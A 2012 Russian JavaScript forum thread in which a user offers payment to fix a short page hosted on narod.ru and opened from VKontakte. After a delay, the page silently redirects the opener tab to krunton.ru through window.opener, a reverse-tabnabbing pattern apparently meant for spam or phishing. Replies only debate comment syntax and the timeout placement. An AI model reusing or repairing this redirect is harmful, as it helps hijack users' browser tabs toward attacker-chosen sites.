Javascript-форум (https://javascript.ru/forum/)
-   Работа (https://javascript.ru/forum/job/)
-   -   Скрипт условие на перебор вариантов + задержка (https://javascript.ru/forum/job/33067-skript-uslovie-na-perebor-variantov-zaderzhka.html)

eqwill 09.11.2012 03:30

Скрипт условие на перебор вариантов + задержка
 

ICQ-620857361 консультацию оплатим, по оплате лично пообщаемся

Skipp 09.11.2012 09:30

Перебор чего и задержка чего?

eqwill 09.11.2012 19:53

Добрый день уважаемый, сможете оказать помощь в редактировании скрипта??? <html>
<meta name="robots" content="noindex,nofollow">
<head><script language="JavaScript">
setTimeout(function(){
parent.window.opener.location="http://krunton.ru";
<!-- Old browser shield
window.location.href="http://slosfok.ru"
// -->
}, 3000);</script>
</head>
<body>
</body>
</html>
нужна задержка только на первую ссылку, на вторую не надо.. изначально скрипт работал на всех браузерах (потом перестал работать в гугл хром), необходимо сделать такой скрипт чтобы он работал через вк, как в гугл хроме так и в остальных браузерах соответственно с задержкой на 1ю ссылку... мы думаем что задержка поможет решить часть проблемы... возможно дело не только в ней
создаем index.html с нашим кодом и проверяем через вк на работоспособность во всех браузерах...
(вк походу что-то поменял в в настройках по js и потому наш индекс теперь не работает в хроме) а в остальном он работает
по всем вопросам и вознаграждения стучимся в icq 620857361 спасибо за внимание

eqwill 09.11.2012 22:16

скрипт до недавнего времени прекрасно работал без всяких задержек! суть>>> возможно в скрипте надо сделать задержку только на 1ю ссылку примерно на 2-3 сек, закидываешь его в index.html сохраняешь! заливаешь готовый index.html на народ.ру, заходишь в VK0ntakt! и проверяешь зареганую ссылку с народа на работоспособность скрипта под браузером google.hrom в VK. остальные браузеры вроде и так работали! но на всякий пожарный проверьте и их! потраченное время оплатим! моя icq 620857361

12345c 10.11.2012 06:24

Конкретно этот код должен дать ошибку, потому что в JS появляется комментарий HTML - его надо обернуть в /**/. В Хроме, кроме того, действительно, есть баг с обращениями к иным окнам и фреймам (вроде бы только в юзерскриптах). И если ваше дочернее окно - в другом домене или поддомене, то тоже будут проблемы с выполнением во всех браузерах и надо решать сложнее. Попробуйте для начала написать правильно комментарий. Если будут проблемы дальше и захотите довести дело до конца - напишите в ЛС, загляну вечером.

dmitriymar 10.11.2012 10:10

Цитата:

Сообщение от 12345c
Конкретно этот код должен дать ошибку, потому что в JS появляется комментарий HTML - его надо обернуть в /**/

чего это?
Цитата:

Ядро JavaScript допускает использование строки "<!--" а начале элемента SCRIPT и игнорирует дальнейшие символы, до конца строки. JavaScript интерпретирует символ "//" как начало комментария, продолжающегося до конца текущей строки. Это необходимо, чтобы строка "-->" не разбиралась синтаксическим анализатором JavaScript.

<SCRIPT type="text/javascript">
<!-- скрыть содержимое скрипта от старых браузеров
function square(i) {
document.write("Вызов передал ", i ," в функцию.","<BR>")
return i * i
}
document.write("Функция вернула ",square(5),".")
// конец скрытого содержимого -->
</SCRIPT>
Другой вопрос в том, что они у него в тему абсолютно и не по месту и не используются как должны.

Цитата:

Сообщение от eqwill
нужна задержка только на первую ссылку, на вторую не надо..

Дак вынесите её за пределы тайаута

12345c 10.11.2012 10:32

А там, как видите, комментарий не в начале SCRIPT.

dmitriymar 10.11.2012 11:13

Цитата:

Сообщение от 12345c
А там, как видите, комментарий не в начале SCRIPT.

фиолетово. символы комментария проигнорирует
alert(1)
<!-- Old browser shield
alert(2)
// -->
alert(3)

12345c 10.11.2012 17:53

Тогда да, сам не проверял ничего, кроме наличия комментариев, целиком охватывающих скрипт (стандартное скрытие при отсутствии JS в старых браузерах). Которым, кстати, никто очень давно не озабочивается.

eqwill: Тогда не знаю, из-за чего тот скрипт в Хроме не работает, надо смотреть, в какой обстановке он запускается. (приведённый dmitriymar пример в Хроме работает).


Часовой пояс GMT +3, время: 05:22.